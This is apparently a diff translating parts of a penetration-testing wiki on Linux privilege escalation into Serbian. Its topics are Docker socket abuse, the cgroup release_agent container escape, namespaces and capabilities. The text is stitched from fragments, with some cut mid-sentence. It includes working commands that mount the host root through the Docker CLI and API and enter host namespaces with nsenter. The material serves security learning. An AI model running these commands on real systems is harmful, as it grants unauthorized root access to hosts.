If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively.

By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker soket, često pronađen na `/var/run/docker.sock`, je kritična datoteka koja treba biti zaštićena. Po defaultu, može se pisati od strane `root` korisnika i članova `docker` grupe. Posedovanje prava pisanja na ovom soketu može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Eskalacija privilegija sa Docker CLI** +Ako imate prava pisanja na Docker soketu, možete eskalirati privilegije koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +Ove komande vam omogućavaju da pokrenete kontejner sa pristupom na nivou root-a do datotečnog sistema host-a. -These commands allow you to run a container with root-level access to the host's file system. +#### **Korišćenje Docker API direktno** -#### **Using Docker API Directly** +U slučajevima kada Docker CLI nije dostupan, Docker soket se i dalje može manipulisati koristeći Docker API i `curl` komande. -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Lista Docker slika:** Preuzmite listu dostupnih slika. -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **Kreirajte kontejner:** Pošaljite zahtev za kreiranje kontejnera koji montira root direktorijum host sistema. -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +Pokrenite novokreirani kontejner: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **Priključite se kontejneru:** Koristite `socat` da uspostavite vezu sa kontejnerom, omogućavajući izvršavanje komandi unutar njega. -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +Nakon postavljanja `socat` veze, možete direktno izvršavati komande u kontejneru sa pristupom na nivou root-a do datotečnog sistema host-a. -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### Ostalo -### Others +Imajte na umu da ako imate dozvole za pisanje preko docker soketa jer ste **unutar grupe `docker`** imate [**više načina za eskalaciju privilegija**](interesting-groups-linux-pe/#docker-group).

Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus je sofisticirani **sistem međuprocesne komunikacije (IPC)** koji omogućava aplikacijama da efikasno komuniciraju i dele podatke. Dizajniran sa modernim Linux sistemom na umu, nudi robusnu strukturu za različite oblike komunikacije aplikacija. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +Sistem je svestran, podržava osnovni IPC koji poboljšava razmenu podataka između procesa, podsećajući na **poboljšane UNIX domen sokete**. Pored toga, pomaže u emitovanju događaja ili signala, omogućavajući besprekornu integraciju među komponentama sistema. Na primer, signal iz Bluetooth demona o dolaznom pozivu može naterati muzički plejer da utiša, poboljšavajući korisničko iskustvo. Dodatno, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za uslugama i pozive metoda između aplikacija, olakšavajući procese koji su tradicionalno bili složeni. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus funkcioniše na **modelu dozvoli/odbij** i upravlja dozvolama za poruke (pozivi metoda, emitovanje signala itd.) na osnovu kumulativnog efekta usklađenih pravila politike.

To je zato što `logrotate`, koji često radi kao **root**, može biti manipulisan da izvršava proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_.

To enable remote access to the Docker API and client, expose the Docker daemon over an HTTP socket by adding the following settings: +Docker engine može se pristupiti lokalno putem Unix soketa ili daljinski koristeći HTTP. Za daljinski pristup, neophodno je koristiti HTTPS i **TLS** kako bi se obezbedila poverljivost, integritet i autentifikacija. +Docker engine, po defaultu, sluša na Unix soketu na `unix:///var/run/docker.sock`. Na Ubuntu sistemima, opcije pokretanja Dockera su definisane u `/etc/default/docker`. Da biste omogućili daljinski pristup Docker API-ju i klijentu, izložite Docker demon preko HTTP soketa dodavanjem sledećih podešavanja: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` +Međutim, izlaganje Docker demona preko HTTP-a nije preporučljivo zbog bezbednosnih problema. Preporučuje se osiguranje veza korišćenjem HTTPS-a. Postoje dva glavna pristupa za osiguranje veze: -However, exposing the Docker daemon over HTTP is not recommended due to security concerns. It's advisable to secure connections using HTTPS. There are two main approaches to securing the connection: +1. Klijent verifikuje identitet servera. +2.

-Summary of Container Security Features +Sažetak bezbednosnih karakteristika kontejnera -**Main Process Isolation Features** +**Glavne karakteristike izolacije procesa** -In containerized environments, isolating projects and their processes is paramount for security and resource management. Here's a simplified explanation of key concepts: +U kontejnerizovanim okruženjima, izolacija projekata i njihovih procesa je od suštinskog značaja za bezbednost i upravljanje resursima. Evo pojednostavljenog objašnjenja ključnih koncepata: **Namespaces** -- **Purpose**: Ensure isolation of resources like processes, network, and filesystems. Particularly in Docker, namespaces keep a container's processes separate from the host and other containers. -- **Usage of `unshare`**: The `unshare` command (or the underlying syscall) is utilized to create new namespaces, providing an added layer of isolation. However, while Kubernetes doesn't inherently block this, Docker does. -- **Limitation**: Creating new namespaces doesn't allow a process to revert to the host's default namespaces. To penetrate the host namespaces, one would typically require access to the host's `/proc` directory, using `nsenter` for entry. +- **Svrha**: Osiguranje izolacije resursa kao što su procesi, mreža i fajl sistemi. Posebno u Docker-u, namespaces drže procese kontejnera odvojene od hosta i drugih kontejnera. +- **Korišćenje `unshare`**: Komanda `unshare` (ili osnovni syscall) se koristi za kreiranje novih namespaces, pružajući dodatni sloj izolacije. Međutim, dok Kubernetes to inherentno ne blokira, Docker to čini. +- **Ograničenje**: Kreiranje novih namespaces ne omogućava procesu da se vrati na podrazumevane namespaces hosta. Da bi se penetriralo u namespaces hosta, obično bi bilo potrebno pristupiti hostovom `/proc` direktorijumu, koristeći `nsenter` za ulazak. -**Control Groups (CGroups)** +**Kontrolne grupe (CGroups)** -- **Function**: Primarily used for allocating resources among processes. -- **Security Aspect**: CGroups themselves don't offer isolation security, except for the `release_agent` feature, which, if misconfigured, could potentially be exploited for unauthorized access. +- **Funkcija**: Primarno se koriste za dodeljivanje resursa među procesima. +- **Aspekt bezbednosti**: CGroups same po sebi ne nude bezbednost izolacije, osim za `release_agent` funkciju, koja, ako je pogrešno konfigurisana, može potencijalno biti iskorišćena za neovlašćen pristup. -**Capability Drop** +**Smanjenje sposobnosti** -- **Importance**: It's a crucial security feature for process isolation. -- **Functionality**: It restricts the actions a root process can perform by dropping certain capabilities. Even if a process runs with root privileges, lacking the necessary capabilities prevents it from executing privileged actions, as the syscalls will fail due to insufficient permissions. - -These are the **remaining capabilities** after the process drop the others: +- **Značaj**: To je ključna bezbednosna karakteristika za izolaciju procesa. +- **Funkcionalnost**: Ograničava radnje koje root proces može izvesti smanjenjem određenih sposobnosti. Čak i ako proces radi sa root privilegijama, nedostatak potrebnih sposobnosti sprečava ga da izvršava privilegovane radnje, jer će syscalls propasti zbog nedovoljnih dozvola. +Ovo su **preostale sposobnosti** nakon što proces odbaci ostale: ``` Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep ``` - **Seccomp** -It's enabled by default in Docker.

### Namespaces -**Namespaces** are a feature of the Linux kernel that **partitions kernel resources** such that one set of **processes** **sees** one set of **resources** while **another** set of **processes** sees a **different** set of resources. The feature works by having the same namespace for a set of resources and processes, but those namespaces refer to distinct resources. Resources may exist in multiple spaces. +**Namespaces** su funkcija Linux kernela koja **particionira kernel resurse** tako da jedan skup **procesa** **vidi** jedan skup **resursa** dok **drugi** skup **procesa** vidi **drugačiji** skup resursa.

Finally, **not all request/response bodies are sent** to the authorization plugin.

Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins. +Za komande koje potencijalno mogu preuzeti HTTP vezu (`HTTP Upgrade`), kao što je `exec`, autorizacioni plugin se poziva samo za inicijalne HTTP zahteve.

Za komande koje vraćaju delimične HTTP odgovore, kao što su `logs` i `events`, samo se HTTP zahtev šalje autorizacionim pluginima. -During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies. +Tokom obrade zahteva/odgovora, neki tokovi autorizacije mogu zahtevati dodatne upite ka Docker demonu. Da bi se završili takvi tokovi, plugini mogu pozvati API demona slično kao običan korisnik.

Iako se cgroups bez aktivnih procesa mogu ukloniti pomoću `rmdir`, budite svesni određenih ograničenja: -**Creating new cgroups** involves making a new subdirectory within the cgroup hierarchy, which prompts the kernel to automatically generate necessary interface files. Though cgroups without active processes can be removed with `rmdir`, be aware of certain constraints: - -- **Processes can only be placed in leaf cgroups** (i.e., the most nested ones in a hierarchy). -- **A cgroup cannot possess a controller absent in its parent**. -- **Controllers for child cgroups must be explicitly declared** in the `cgroup.subtree_control` file.

This can be used to remove processes from systemd management. +**Praćenje korišćenja CPU-a** unutar cgroup-a je moguće kroz `cpu.stat` datoteku, koja prikazuje ukupno vreme CPU-a koje je potrošeno, što je korisno za praćenje korišćenja kroz podprocese servisa: -**Monitoring CPU usage** within a cgroup is possible through the `cpu.stat` file, displaying total CPU time consumed, helpful for tracking usage across a service's subprocesses: - -

Here's a breakdown of the steps involved: - -1. **Prepare the Environment:** - - A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup. - - The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative. - +1. **Pripremite Okruženje:** +- Direktorijum `/tmp/cgrp` se kreira da služi kao tačka montiranja za cgroup. +- RDMA cgroup kontroler se montira na ovaj direktorijum.

This bypasses the need to know the container's filesystem path on the host. -2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc//root/`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container. -3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file. +1. **Lociranje ID-ova procesa (PIDs):** Korišćenjem simboličke veze `/proc//root` u Linux pseudo-datotečnom sistemu, bilo koja datoteka unutar kontejnera može se pristupiti u odnosu na datotečni sistem domaćina. Ovo zaobilazi potrebu da se zna putanja datoteke kontejnera na domaćinu. +2. **PID Bashing:** Koristi se pristup silom da se pretražuju PIDs na domaćinu. Ovo se radi sekvencijalnim proveravanjem prisustva specifične datoteke na `/proc//root/`. Kada se datoteka pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljanog kontejnera. +3. **Pokretanje izvršenja:** Pogađana PID putanja se upisuje u `cgroups release_agent` datoteku. Ova akcija pokreće izvršenje `release_agent`. Uspeh ovog koraka se potvrđuje proverom kreiranja izlazne datoteke. -### Exploitation Process +### Proces eksploatacije -The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container.

The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released. -4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`. -5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution. - -PoC from the blog post: +1. **Inicijalizacija okruženja:** Payload skripta (`payload.sh`) se priprema na domaćinu, a jedinstveni direktorijum se kreira za manipulaciju cgroup-om. +2. **Priprema payload-a:** Payload skripta, koja sadrži komande koje treba izvršiti na domaćinu, se piše i čini izvršnom. +3. **Postavljanje Cgroup-a:** Cgroup se montira i konfiguriše. `notify_on_release` zastavica se postavlja kako bi se osiguralo da se payload izvrši kada se cgroup oslobodi. +4. **Brute Force PID:** Petlja prolazi kroz potencijalne PIDs, upisujući svaki pogađani PID u `release_agent` datoteku. Ovo efikasno postavlja payload skriptu kao `release_agent`. +5. **Pokretanje i provera izvršenja:** Za svaki PID, `cgroup.procs` se upisuje, pokrećući izvršenje `release_agent` ako je PID tačan.

The key details and the solution are outlined below: +Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku: -1. **Problem Explanation**: +1. **Objašnjenje problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine. +- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u. +- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces izađe, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi procesa. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u. -2. **Consequence**: +2. **Posledica**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, što proizvodi grešku "Ne može da dodeli memoriju". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rešenje**: +- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a. +- Izvršavanje `%unshare -fp /bin/bash%` osigurava da `unshare` komanda sama postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.

When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. Kada se kreira novi proces (npr., korišćenjem `clone()` sistemskog poziva), proces može biti dodeljen novom ili postojećem PID namespace-u. **Ako se kreira novi namespace, proces postaje "init" proces tog namespace-a**. +2. **Kernel** održava **mapiranje između PID-ova u novom namespace-u i odgovarajućih PID-ova** u roditeljskom namespace-u (tj. namespace-u iz kojeg je novi namespace kreiran). Ovo mapiranje **omogućava kernelu da prevodi PID-ove kada je to potrebno**, kao kada se šalju signali između procesa u različitim namespace-ima. +3. **Procesi unutar PID namespace-a mogu videti i interagovati samo sa drugim procesima u istom namespace-u**. Nisu svesni procesa u drugim namespace-ima, a njihovi PID-ovi su jedinstveni unutar njihovog namespace-a. +4. Kada se **PID namespace uništi** (npr., kada "init" proces namespace-a izađe), **svi procesi unutar tog namespace-a se prekidaju**. Ovo osigurava da se svi resursi povezani sa namespace-om pravilno očiste. ## Lab: -### Create different Namespaces +### Kreirajte različite Namespace-e #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -

When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2.

These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1.

-Error: bash: fork: Cannot allocate memory +Greška: bash: fork: Ne može da dodeli memoriju -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +Kada se `unshare` izvrši bez opcije `-f`, dolazi do greške zbog načina na koji Linux upravlja novim PID (ID procesa) namespace-ima. Ključni detalji i rešenje su navedeni u nastavku: -1. **Problem Explanation**: +1. **Objašnjenje problema**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux kernel omogućava procesu da kreira nove namespace-e koristeći `unshare` sistemski poziv. Međutim, proces koji inicira kreiranje novog PID namespace-a (poznat kao "unshare" proces) ne ulazi u novi namespace; samo njegovi podprocesi to čine. +- Pokretanjem `%unshare -p /bin/bash%` pokreće se `/bin/bash` u istom procesu kao `unshare`. Kao rezultat, `/bin/bash` i njegovi podprocesi su u originalnom PID namespace-u. +- Prvi podproces `/bin/bash` u novom namespace-u postaje PID 1. Kada ovaj proces završi, pokreće čišćenje namespace-a ako nema drugih procesa, jer PID 1 ima posebnu ulogu usvajanja siročadi. Linux kernel će tada onemogućiti dodelu PID-a u tom namespace-u. -2. **Consequence**: +2. **Posledica**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- Izlazak PID 1 u novom namespace-u dovodi do čišćenja `PIDNS_HASH_ADDING` oznake. To rezultira neuspehom funkcije `alloc_pid` da dodeli novi PID prilikom kreiranja novog procesa, proizvodeći grešku "Ne može da dodeli memoriju". -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **Rešenje**: +- Problem se može rešiti korišćenjem opcije `-f` sa `unshare`. Ova opcija čini da `unshare` fork-uje novi proces nakon kreiranja novog PID namespace-a. +- Izvršavanje `%unshare -fp /bin/bash%` osigurava da sam `unshare` komanda postane PID 1 u novom namespace-u. `/bin/bash` i njegovi podprocesi su tada sigurno sadržani unutar ovog novog namespace-a, sprečavajući prevremeni izlazak PID 1 i omogućavajući normalnu dodelu PID-a. -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +Osiguravanjem da `unshare` radi sa `-f` oznakom, novi PID namespace se ispravno održava, omogućavajući `/bin/bash` i njegovim podprocesima da funkcionišu bez susretanja greške u dodeli memorije.

Takođe može odbaciti privilegije iz svog dozvoljenog skupa. +- **Granica**: Deluje kao gornja granica za privilegije koje proces može imati, osiguravajući da proces ne premaši svoj unapred definisani opseg privilegija. -4. **Bounding (CapBnd)**: +4. **Ograničene (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. - -5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. +- **Svrha**: Postavlja plafon na privilegije koje proces može steći tokom svog životnog ciklusa. +- **Funkcionalnost**: Čak i ako proces ima određenu privilegiju u svom nasledivom ili dozvoljenom skupu, ne može steći tu privilegiju osim ako nije i u ograničenom skupu. +- **Upotreba**: Ovaj skup je posebno koristan za ograničavanje potencijala eskalacije privilegija procesa, dodajući dodatni sloj sigurnosti. +5. **Ambijent (CapAmb)**: +- **Svrha**: Omogućava održavanje određenih privilegija tokom `execve` sistemskog poziva, što obično rezultira potpunim resetovanjem privilegija procesa. +- **Funkcionalnost**: Osigurava da ne-SUID programi koji nemaju povezane privilegije datoteka mogu zadržati određene privilegije. +- **Ograničenja**: Privilegije u ovom skupu podložne su ograničenjima nasledivih i dozvoljenih skupova, osiguravajući da ne premaše dozvoljena privilegije procesa. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +Za više informacija proverite: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## Procesi i Binarne Kapacitete -### Processes Capabilities +### Kapacitete Procesa -To see the capabilities for a particular process, use the **status** file in the /proc directory.

Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). -**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.** +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) omogućava procesu da **zaobiđe dozvole za čitanje datoteka i za čitanje i izvršavanje direktorijuma**. Njegova primarna upotreba je za pretragu ili čitanje datoteka. Međutim, takođe omogućava procesu da koristi funkciju `open_by_handle_at(2)`, koja može pristupiti bilo kojoj datoteci, uključujući one van prostora montiranja procesa. Rukohvat korišćen u `open_by_handle_at(2)` treba da bude netransparentni identifikator dobijen putem `name_to_handle_at(2)`, ali može uključivati osetljive informacije poput inode brojeva koji su podložni manipulaciji. Potencijal za eksploataciju ove sposobnosti, posebno u kontekstu Docker kontejnera, demonstrirao je Sebastian Krahmer sa shocker exploit-om, kako je analizirano [ovde](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3). +**To znači da možete** **zaobići provere dozvola za čitanje datoteka i provere dozvola za čitanje/izvršavanje direktorijuma.** -**Example with binary** - -The binary will be able to read any file.

However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement. +**CAP_SETPCAP** omogućava procesu da **menja skupove sposobnosti** drugog procesa, omogućavajući dodavanje ili uklanjanje sposobnosti iz efektivnog, naslednog i dozvoljenog skupa. Međutim, proces može da menja samo sposobnosti koje poseduje u svom dozvoljenom skupu, osiguravajući da ne može da poveća privilegije drugog procesa iznad svojih. Nedavne ažuriranja jezgra su pooštrila ova pravila, ograničavajući `CAP_SETPCAP` samo na smanjenje sposobnosti unutar svog ili dozvoljenog skupa svojih potomaka, sa ciljem smanjenja bezbednosnih rizika. Korišćenje zahteva da imate `CAP_SETPCAP` u efektivnom skupu i ciljne sposobnosti u dozvoljenom skupu, koristeći `capset()` za izmene. Ovo sumira osnovnu funkciju i ograničenja `CAP_SETPCAP`, ističući njegovu ulogu u upravljanju privilegijama i poboljšanju bezbednosti. -**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes.

Daje mogućnost dodavanja ili uklanjanja sposobnosti iz efektivnog, naslednog i dozvoljenog skupa sposobnosti drugih procesa. Međutim, postoje određena ograničenja u načinu na koji se ova sposobnost može koristiti. -A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege. +Proces sa `CAP_SETPCAP` **može samo dodeliti ili ukloniti sposobnosti koje su u njegovom vlastitom dozvoljenom skupu sposobnosti**. Drugim rečima, proces ne može dodeliti sposobnost drugom procesu ako je sam ne poseduje. Ovo ograničenje sprečava proces da poveća privilegije drugog procesa iznad svog nivoa privilegije. -Moreover, in recent kernel versions, the `CAP_SETPCAP` capability has been **further restricted**. It no longer allows a process to arbitrarily modify the capability sets of other processes. Instead, it **only allows a process to lower the capabilities in its own permitted capability set or the permitted capability set of its descendants**. This change was introduced to reduce potential security risks associated with the capability. +Štaviše, u nedavnim verzijama jezgra, sposobnost `CAP_SETPCAP` je **dodatno ograničena**. Više ne omogućava procesu da proizvoljno menja skupove sposobnosti drugih procesa. Umesto toga, **samo omogućava procesu da smanji sposobnosti u svom dozvoljenom skupu sposobnosti ili dozvoljenom skupu sposobnosti svojih potomaka**. Ova promena je uvedena kako bi se smanjili potencijalni bezbednosni rizici povezani sa sposobnošću. -To use `CAP_SETPCAP` effectively, you need to have the capability in your effective capability set and the target capabilities in your permitted capability set. You can then use the `capset()` system call to modify the capability sets of other processes. +Da biste efikasno koristili `CAP_SETPCAP`, potrebno je da imate sposobnost u 